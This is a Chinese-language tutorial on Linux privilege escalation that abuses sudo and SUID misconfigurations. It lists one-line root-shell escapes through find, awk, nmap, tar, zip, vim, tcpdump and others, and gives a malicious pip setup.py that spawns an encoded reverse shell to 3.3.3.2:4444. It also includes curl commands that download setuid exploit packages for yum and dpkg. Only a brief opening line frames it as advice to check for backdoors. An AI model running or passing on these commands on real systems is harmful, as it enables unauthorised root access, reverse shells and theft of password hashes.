文中执行的权限大多都是配置不当导致的滥用. 当然 suid 也是属于这一类的.建议检查系统中这种类似的后门.

为了演示, 我把 /etc/sudoers文件内容更改为git ALL=NOPASSWD: ALL, 真实环境这么做. 直接 sudo -i 就可以获取到 root 权限了, 非常危险

以下演示的程序只要有一种满足 suid 或者 sudo 权限的配置.都可以提升至 root 权限
Alt text

find

1
sudo find . -type f -exec /bin/bash \;

Alt text

awk

1
sudo awk 'BEGIN {system("/bin/bash")}'

Alt text

strace

1
sudo strace -o/dev/null /bin/bash

Alt text

nmap

1
2
echo "os.execute('/bin/sh')">/tmp/shell.nse
sudo nmap --script=/tmp/shell.nse

Alt text

tar

1
sudo tar cf /dev/null test --checkpoint=1 --checkpoint-action=exec=/bin/bash

Alt text

zip

1
sudo zip /tmp/1.zip /tmp/shell.nse -T --unzip-command="sh -c /bin/bash"

Alt text

python

1
2
import os
os.system("/bin/bash")

Alt text

perl

1
exec "/bin/bash";

Alt text

git/more/vim/ftp/less

Alt text

以上截个命令使用 sudo 执行后输入!/bin/bash 获取 bash 客户端,即可拿到 root 权限
Alt text

vim 有一种比较快捷的方法

1
 sudo vim -c '!sh'

pip

写入文件名称为 setup.py,到一个新目录

1
sudo /usr/bin/pip install . --upgrade --force-reinstall
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from setuptools import setup
from setuptools.command.install import install
import base64
import os


class CustomInstall(install):
	def run(self):
		install.run(self)
		LHOST = '3.3.3.2'
		LPORT = 4444
		
		reverse_shell = 'python -c "import os; import pty; import socket; s = socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect((\'{LHOST}\', {LPORT})); os.dup2(s.fileno(), 0); os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); os.putenv(\'HISTFILE\', \'/dev/null\'); pty.spawn(\'/bin/bash\'); s.close();"'.format(LHOST=LHOST,LPORT=LPORT)
		encoded = base64.b64encode(reverse_shell)
		os.system('echo %s|base64 -d|bash' % encoded)


setup(name='FakePip',
			version='0.0.1',
			description='This will exploit a sudoer able to /usr/bin/pip install *',
			url='https://github.com/0x00-0x00/fakepip',
			author='zc00l',
			author_email='andre.marques@esecurity.com.br',
			license='MIT',
			zip_safe=False,
			cmdclass={'install': CustomInstall})

Alt text

tcpdump [没尝试成功]

1
2
3
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root

nova/vim/wget/curl 等

这种就不多说了. 通过编辑文件修改/etc/shadow, 计划任务, 公私钥,web 后门都是提权的好技巧
curl/wget 则是下载远程服务器的文件. 强制替换文件完成权限提升

yum or apt-get

Centos | redhat

https://gist.github.com/neoice/797777cb0832f596a70b6cba7bbbcc4f

将里面内容下载保存为 yumsploit.rpm

1
curl -sfL https://gist.githubusercontent.com/neoice/797777cb0832f596a70b6cba7bbbcc4f/raw/f3f94e105c23d2c01706736d9cd729dd555e9c53/setuid-pop.rpm | base64 -d | gzip -d> yumsploit.rpm

更改 /etc/sudoers 保证 test ALL= NOPASSWD: /usr/bin/yum 具备 sudo yum 执行权限

Alt text

使用刚刚的 yumsploit.rpm 进行本地安装

Alt text

Alt text
Alt text

debian|ubuntu

APT-GET

1
2
3
4
useradd test

vim /etc/sudoers
test    ALL=NOPASSWD: /usr/bin/apt-get

Alt text

dpkg (和 yum 类似, 不多说了)

1
2
3
4
5
https://pastebin.com/RtsmaQvL

curl -sfL https://pastebin.com/raw/RtsmaQvL | base64 -d | gzip -d> > debsploit.deb

dpkg -i *.deb  

提醒: 最好自己生成 yum 包

检查 suid

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

https://lsdsecurity.com/2019/01/more-linux-privilege-escalation-yum-rpm-dnf-nopasswd-rpm-payloads/

https://lsdsecurity.com/2019/01/linux-privilege-escalation-using-apt-get-apt-dpkg-to-abuse-sudo-nopasswd-misconfiguration/